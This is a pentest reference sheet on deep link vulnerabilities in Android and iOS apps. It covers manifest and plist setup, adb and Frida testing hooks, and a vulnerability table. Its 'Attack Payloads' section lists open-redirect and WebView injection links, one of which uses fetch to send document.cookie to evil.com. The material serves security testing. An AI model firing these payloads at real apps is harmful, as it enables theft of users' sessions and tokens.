Anthropic-Cybersecurity-Skills/skills/exploiting-deeplink-vulnerabilities/references/api-reference.md

API Reference: Deep Link Vulnerability Testing

Android Deep Links

AndroidManifest.xml Configuration

<activity android:name=".DeepLinkActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="myapp" android:host="open"/>
    </intent-filter>
</activity>

ADB Testing

adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://open/path?param=value" com.target.app

Intent URI Scheme

intent://path#Intent;scheme=myapp;package=com.target.app;end

iOS URL Schemes

Info.plist Configuration

<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>myapp</string>
        </array>
    </dict>
</array>

Universal Links (apple-app-site-association)

{
  "applinks": {
    "apps": [],
    "details": [{
      "appID": "TEAM_ID.com.example.app",
      "paths": ["/open/*", "/product/*"]
    }]
  }
}

Vulnerability Types

Type	Risk	Description
Open Redirect	HIGH	Deep link redirects to attacker URL
JavaScript Injection	CRITICAL	Code execution in WebView
Parameter Theft	HIGH	Token/credential exfiltration
Intent Redirect	HIGH	Android intent hijacking
Path Traversal	MEDIUM	Access unintended app sections

Attack Payloads

Open Redirect

myapp://open?redirect=https://evil.com
myapp://open?url=javascript:alert(document.cookie)

WebView JavaScript

myapp://webview?url=javascript:fetch('https://evil.com/'+document.cookie)

Parameter Injection

myapp://auth?token=stolen&callback=https://evil.com

Frida — Runtime Deep Link Testing

Hook URL Handler (Android)

Java.perform(function() {
    var Activity = Java.use("android.app.Activity");
    Activity.onNewIntent.implementation = function(intent) {
        console.log("Deep link: " + intent.getData().toString());
        this.onNewIntent(intent);
    };
});

Hook URL Handler (iOS)

var handler = ObjC.classes.AppDelegate["- application:openURL:options:"];
Interceptor.attach(handler.implementation, {
    onEnter: function(args) {
        var url = ObjC.Object(args[3]);
        console.log("URL scheme: " + url.toString());
    }
});